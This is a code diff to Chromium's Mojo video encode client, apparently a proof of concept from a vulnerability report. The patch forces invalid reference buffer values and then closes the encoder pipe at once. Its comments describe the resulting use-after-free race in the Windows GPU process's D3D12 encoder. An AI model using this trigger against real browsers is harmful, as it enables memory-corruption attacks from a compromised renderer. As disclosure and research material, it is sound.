diff --git a/media/mojo/clients/mojo_video_encode_accelerator.cc b/media/mojo/clients/mojo_video_encode_accelerator.cc --- a/media/mojo/clients/mojo_video_encode_accelerator.cc +++ b/media/mojo/clients/mojo_video_encode_accelerator.cc @@ -171,6 +171,28 @@ void MojoVideoEncodeAccelerator::Encode( void MojoVideoEncodeAccelerator::Encode( scoped_refptr frame, const VideoEncoder::EncodeOptions& options) { + // --------------------------------------------------------------------------- + // POC injection: simulate a compromised renderer attacking the Windows GPU + // process D3D12VideoEncodeAccelerator. + // + // We override the renderer-supplied EncodeOptions so that + // D3D12VideoEncodeDelegate::Encode() early-returns kBadReferenceBuffer + // *after* DoEncodeTask has already called + // CreateResourceForSharedMemoryVideoFrame() -> + // CopyBufferToNV12Texture(input_texture_, upload_buffer_, ...) -> + // copy_command_queue_->Execute() (async COPY-engine DMA, no CPU wait). + // + // We then immediately reset the VEA Mojo remote so the GPU-side service + // calls Destroy() -> DestroyTask -> `delete this` while the COPY DMA is + // still in flight. ~D3D12VideoEncodeAccelerator destroys members in reverse + // declaration order: input_texture_ (h:240) and upload_buffer_ (h:238) are + // Released BEFORE copy_command_queue_ (h:210) runs WaitSync(). + // --------------------------------------------------------------------------- + VideoEncoder::EncodeOptions poc_options = options; + poc_options.update_buffer = 200; // >= GetMaxNumOfManualRefBuffers() + poc_options.reference_buffers = {200}; // also forces kBadReferenceBuffer + TRACE_EVENT1("media", "MojoVideoEncodeAccelerator::Encode", "timestamp", frame->timestamp().InMicroseconds()); DVLOG(2) << __func__ << " tstamp=" << frame->timestamp(); @@ -182,7 +204,14 @@ void MojoVideoEncodeAccelerator::Encode( UMA_HISTOGRAM_ENUMERATION("Media.MojoVideoEncodeAccelerator.InputStorageType", frame->storage_type(), static_cast(VideoFrame::STORAGE_MAX) + 1); - vea_->Encode(frame, options, base::DoNothingWithBoundArgs(frame)); + vea_->Encode(frame, poc_options, base::DoNothingWithBoundArgs(frame)); + + // Close the VEA Mojo pipe immediately after sending Encode. This causes + // MojoVideoEncodeAcceleratorService::~MojoVideoEncodeAcceleratorService -> + // encoder_->Destroy() on the GPU child sequence, which posts DestroyTask to + // the encoder thread. DestroyTask runs right after DoEncodeTask returns from + // the kBadReferenceBuffer fast-path, with the COPY DMA still pending. + vea_.reset(); } void MojoVideoEncodeAccelerator::UseOutputBitstreamBuffer(